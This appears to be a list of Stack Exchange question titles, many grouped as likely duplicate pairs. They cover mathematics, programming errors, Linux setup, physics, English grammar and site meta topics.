When to use Fisher and Neyman-Pearson framework?


Show inline math as if it were display math (and vice versa)


My Mac is getting really slow, what should I do?


why my render not showing anything in image?


why don't file search utilities just load and parse the MFT?

Why don't file managers use the Master File Table for instant search results?


If $f$ is an automorphism and $|\{a: f(a) = a^{-1}\}| = 3/4 |G|$ then $G$ has an abelian subgroup of index $2$

If $|\lbrace g \in G: \pi (g)=g^{-1} \rbrace|>\frac{3|G|}{4}$, then $G$ is an abelian group.


Is use of function return values for error checking and/or exception handling good and proper technique?


WIFI driver isues. Wifi and boot up lag Ubunti 20.04 recent update

bcmwl-kernel-source broken on kernel: 5.8.0-34-generic


Limit registration to 4 people on form sign up

Call to undefined method mysqli_stmt::get_result


How do I convert WKT geometry from 3D to 2D


How to revert VLC media player to its original state?


Two bodies connected to each other with with a string of lenth L is a rigid body?

degree of freedom of a rigid body 5 or 6?


Proving linear bijection of vector space mapping.

Show that an inverse of a bijective linear map is a linear map.


Proving that $(2k+1)$ is idempotent for $\mathbb{Z}_{2(2k+1)}$

Proving idempotent elements in $\mathbb{Z}_n$


If $\gcd(a,b)=d$, then $\gcd(a/d, b/d)=1$

Proving $\gcd \left(\frac{a}{\gcd (a,b)},\frac{b}{\gcd (a,b)}\right)=1$


Observers frame of reference for history / chronolgy of very early universe


What is the proof of divisibility by $13$?


Why do the renders come out different on two machines?

Why are all the textures in my file pink?


Export and import configuration settings and content

How to add the configuration changes from a website to another website?


Trying to remove a primary key from MySQL table


Where [if anywhere] should the apostrophe go in "three days work"?


What is right preposition to use before a location?

"To work for" vs. "to work in" vs. "to work at"


What are the most common pitfalls awaiting new users?


How does Hawking Radiation not violate energy conservation?

Black holes and positive/negative-energy particles


Siri's voice on macOS Sierra is not natural


No option in 'flag -> close -> off-topic -> belongs elsewhere' for migrate to stats.SE

When voting to migrate an off-topic question, why is the list of sites limited?


MongoDB: how to search for fields in a collection


How to install Oxford Advanced Learner's Dictionary 9th on ubuntu 16.04


How much memory is allocated for one Integer object in Java? How to find out this value for any custom object?


What is the CVE-2014-6271 bash vulnerability (Shellshock) and how do I fix it?


How to determine if Linux OS is on virtual hardware or physical hardware?

VMware Linux Server -- how can you tell if you are a vm or real hardware?


HP probook - Unable to boot into Windows after setting up dual boot Windows 10 and Ubuntu 18

Unable to boot into Windows after installing Ubuntu, how to fix?


Which method performs better: .Any() vs .Count() > 0?


SSH - Is it possible for an SSH session to take complete control of the client?


Keep state of Gnome 3 desktop even after reboot

How can I get Gnome3 to remember my session?


I get a different domain name in google search

Another website is mirroring and ranks above my site in search results


Find out which remote branch a local branch is tracking


how to return to lock screen after switching user

Keyboard shortcut to lock the screen on macOS 10.14 Mojave?


What do you call the -> operator in Ruby?


Should site-specific Twitter feeds be tweeting meta questions?

Why do site meta questions get posted on Twitter?


If you misty step 30 feet straight up do you have time to attack a foe next to you before you start falling?

When does a flying creature start and end falling?


same content, different meaning? (with + subject + adjective (participle)" construction)


Tool for insertion of translation tags in Django template?

Find untranslated strings in HTML templates


What is the proper usage of a verb when the subject is singular but its meaning is plural?

That's a lot of ___ vs. those are a lot of ___


What is this weird colon-member (" : ") syntax in the constructor?


Managing SQL Server 2008 R2 transaction logs when using principal/mirror databases

Transaction log growing on a mirrored principal


What lens is needed to change the minimal focus distance length of my camera?


Why am I getting a NoClassDefFoundError in Java?


Best way to optimise an if statement in C#?


Which of the following declarations of function main are standard or standard conforming extensions

What are the valid signatures for C's main() function?


Selectively disabling UAC for specific programs on Windows 7(tried other threads but no luck)

Run a program without administrative privileges in Windows 7


Prove that $e^x - \ln(x)=2^{2014}$ has exactly two positive real roots


why do we need a virtual destructor with dynamic memory?


PrimeFaces style sheet not loading correctly

PrimeFaces CSS look'n'feel missing and JS "Uncaught Reference Error: PrimeFaces is not defined"


Prove that $x_n\to x\implies \liminf\limits_{n\to\infty}f(x_n)\leq f(x)$

Prove $\liminf\limits_{n\to\infty} F(x_n)\le F(x)$


Is it possible to access a private method of parent class from the child class in Java?

How can a derived class invoke private method of base class?


The value of the series $\sum_{n=1}^{\infty} n/2^{n}$

How can I evaluate $\sum_{n=0}^\infty(n+1)x^n$?


Unable to mount Windows (NTFS) filesystem due to hibernation


Creating thread for each sequence in the configuration

What is a NullPointerException, and how do I fix it?


Difference between Geographic and Projected coordinate systems?

Difference between projection and datum?


Stand-By Flights, Regardless of Destination?

Are there any secrets or tricks to flying for free (or almost free)?


A check in JavaScript that returns whether I am on a smartphone?

What is the best way to detect a mobile device?


If $A$ is a linear map, then $A(\alpha(t))'=A(\alpha'(t))$


The coefficients of a polynomial over a commutative ring without nilpotent elements


What is the difference between "$a" and $a in unix

When to wrap quotes around a shell variable?


How to make Google ignore an element on a page (without using HTML comments)?

How to tell Google to crawl distinct part of the webpage?


In InputField, how to prevent Shift-Return from generating a new cell?


Can we have a search option for questions with bounties? (No, I don't mean hasnotice:1)

Advanced search criteria for bounty questions?


Get text value of selected option in Jquery


In anime, why high school students are not allowed to work?

Are Japanese Students really not allowed jobs whiles in schools?


How do I solve this problem using extended Euclidean Algorithm? 19d $\equiv$ 1 (mod 96)

Solving linear congruence (modular inverse or fraction) via gcd Bezout equation


What's the difference between Hedges' g and Cohen's d?

Difference between Cohen's d and Hedges' g for effect size metrics


I'm logged into two Google accounts, and every time I open Gmail, the wrong account is used

How do I change my default account with Google multiple sign-in?


What datatype to use when storing latitude and longitude data in SQL databases?

What is the ideal data type to use when storing latitude / longitude in a MySQL database?


Let me View Markdown of a question/answer

Is there a way to see how the markup of a per-site meta answer is formed?


Xcode: TEST vs DEBUG preprocessor macros


Can the Phantasmal Killer spell be cast on a target on the other side of a Wall of Force?

Can spells be cast through a Wall of Force?


Producing photons with same frequency, different amplitude wave

Amplitude of an electromagnetic wave containing a single photon


mysql_connect(): The mysql extension is deprecated and will be removed in the future: use mysqli or PDO instead


How to programmatically determine dynamic IP from behind a subnet

Finding the Public IP address in a shell script


script to search and replace deprecated functions


Can you attack four times when you have two light weapons and the extra attack skill?

How does the Ranger's Extra Attack feature work with Two-Weapon Fighting?


Does anyone know of a reg expression for uk date format


Wireless connectivity on HP Stream 13-c010nr with Ubuntu 18.04


How do I shade this area using pgfplots?

pgfplots fill above two lines with domain


How can I change the language of the QGIS Interface?


$ \forall x ( P(x) \lor Q(x)) \iff \forall x (P(x)) \lor \forall x (Q(x) ) $

Proof, is $\forall x : (P(x) \lor Q(x)) \Leftrightarrow \forall x : P(x) \lor \forall x : Q(x)$?


Missing services for Aero Glass on Windows 10?

Is it possible to enable Aero Glass again in Windows 10 for Windows titles?


Understanding functions within functions


Videos requires to install plugins to play files of the following types: • MPEG-4 AAC decoder • H.264 (High Profile) decoder


Disprove $m!=100x^2+20x$ using an estimation for factorial.


Effect of zeroes on shape of frequency response


Reconsider fixing the comment character counter so it doesn't count characters that are stripped

Comment character counter does not trim, while the server does


Where is LiveCD Ubuntu saving the downloaded files?

Try Ubuntu - Where does it store my files?


Complete features of Ubuntu 12.04 on USB without installing it on Windows 7 laptop

How do I install Ubuntu to a USB key? (without using Startup Disk Creator)


Basis of the space of alternating $k$-tensors


errors while compiling the following codes


An example of subset $A$ such that $A \cap K$ is open in $K$ for each compact set $K$, but $A$ is not open.

Spaces in which "$A \cap K$ is closed for all compact $K$" implies "$A$ is closed."


AC adapter more wattage than required issues

Choosing power supply, how to get the voltage and current ratings?


Android Attempt to invoke virtual method on a null object reference

What is a NullPointerException, and how do I fix it?


Adding formatting tools to the 'ask question' page on the mobile site


How to remove duplicate letters from a string? Caesar Cipher


What's the actual physics behind the optical apodization?

How does an apodization filter improve bokeh?


How to remove my post that has an upvoted answer?

How do I remove a question I asked, when it has an upvoted answer?


Limiting distribution of MLE when true value is on the boundary of the parameter space

General theorems for consistency and asymptotic normality of maximum likelihood


How to present a vertical multiplication/addition


What is the angle between those two matrices over $\mathbb{C}$?


Trouble installing HTML Tidy 5.4.0 on Xenial

dpkg error: "trying to overwrite file, which is also in..."


Self complementary Graph in Planar Graphs

isomorphic planar graph with its complement


java.lang.NullPointerException creating statement from MySQL query


Is it possible for information to be transmitted faster than light by using a rigid pole?


What is a glibc free/malloc/realloc invalid next size/invalid pointer error and how to fix it?


If I can't use mailto protocol to open a mail with a html body, then how?

Is it possible to add an HTML link in the body of a MAILTO link


What resolution should a large format artwork for print be?


Assign the results from a Solve to variable(s)


What does "execute" permission mean on a folder?

Execute vs Read bit. How do directory permissions in Linux work?


How to create the most compact mapping n → isprime(n) up to a limit N?


Help with understanding summation formula breakdown

How to explain the equation about summation?


Running into java.lang.NullPointerException Here

What is a NullPointerException, and how do I fix it?


How to migrate an adopted storage sdcard to another?

My adoptable storage is full. How can I move the data to a bigger MicroSD card?


Working with multiple workspace in Arcpy

How to run multiple tool from different workspace environments


Tensorflow - keras: bad performance for simple curve fitting task

What should I do when my neural network doesn't learn?


Why was a third particle, the neutrino, necessary to explain the continuous energy spectrum of beta-decay?

Why is the spectrum of the $\beta$-decay continuous?


Difference between call by address(pointer) and call by reference

What are the differences between a pointer variable and a reference variable in C++?


How do the laws of physics work in quantum system?

Is there an equivalent of computation of physical processes in nature?


Finding Value of the Infinite Product $\prod \Bigl(1-\frac{1}{n^{2}}\Bigr)$


Variable declaration, substitution and automated calculations with luatex in math environment

Evaluating Mathematical Expressions in Lua


Where to set charset for submitting punchout html form to SAP OCI


Area 51 has the same logo as Stack Overflow

Why is Area 51 showing the Stack Overflow logo on Site Stats?


after installation 12.04 LTS (04) - is not encrypted?


how to post route map on facebook not image


Why does cout print char arrays differently from other arrays?


Keep receiving Error Not contained in either an aggregate function or the GROUP BY clause

Reason for Column is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause


When do I use active vs passive perception?


Moving Ubuntu 18.04.1 OS from HDD to new SSD for faster boot


Why can't Microsoft store version of Office access redirected folders?

Word cannot access documents or desktop; Freezes on exit


does a computer virus affect all accounts on the computer?

Do computer viruses affect all user accounts on a computer?


How to format a number with regular expression


What is the physics meaning of the "trace" (Tr) and how we can calculate it?

What information does the trace of a matrix give?


How to prove that both $\mu_0$ and $\epsilon_0$ don't depend on any frame of references?

Experiment measuring vacuum permittivity and permeability in high speed


Divide by Zero warning is not caught in a PHP try/catch block


Create an alias to a desidred directory to use within terminal


Acting as though the laptop Fn key is pressed


Why does jQuery or a DOM method such as getElementById not find the element?


How do I make a USB flash drive writable on Linux?

What can I do if my USB flash drive is write-protected or read-only?


Regular expression to validate IPv4 address in ruby

How do I check whether a value in a string is an IP address


How can I use a reserved keyword as an identifier in my JSON wrapper class


What is the " := " operator in (VB).NET or what is it good for?


How to render from Eevee in Blender 2.8?


How do I create an instance of the Array type with a given ElementType?


Is isomorphism in group theory mean one-one homomorphism?

Standard definition of group isomorphism


Implicit definition of a coordinate in differential equation

Finding eigenvalues of a differential operator


Has the formation of a new quark pair as we separate two quarks been observed or is it only a prediction?

Has confinement been experimentally observed?


How to properly dual boot kubuntu and windows 10

How do I install Ubuntu alongside a pre-installed Windows with UEFI?


If $M$ is a diagonal matrix, what is $M^\infty$?

Finding $\lim_{n\to\infty}M^n$ for the diagonal matrix $M$


All my edits are lost after android Stack Exchange app is paused and resumed

Drafts for edits get lost on leaving the Android app


How do i open a Terminal with a command ready?

How does one create a custom application launcher for Wine installed apps?


Prove that $\alpha=\beta=\gamma$ where $\alpha,\beta, \gamma$ are complex numbers.

For non-zero real $x$, $y$, $z$ and complex $a$, $b$, $c$ with $|a|=|b|=|c|$, if $x+y+z=0=ax+by+cz$, then $a=b=c$


What is Double Brace initialization in Java?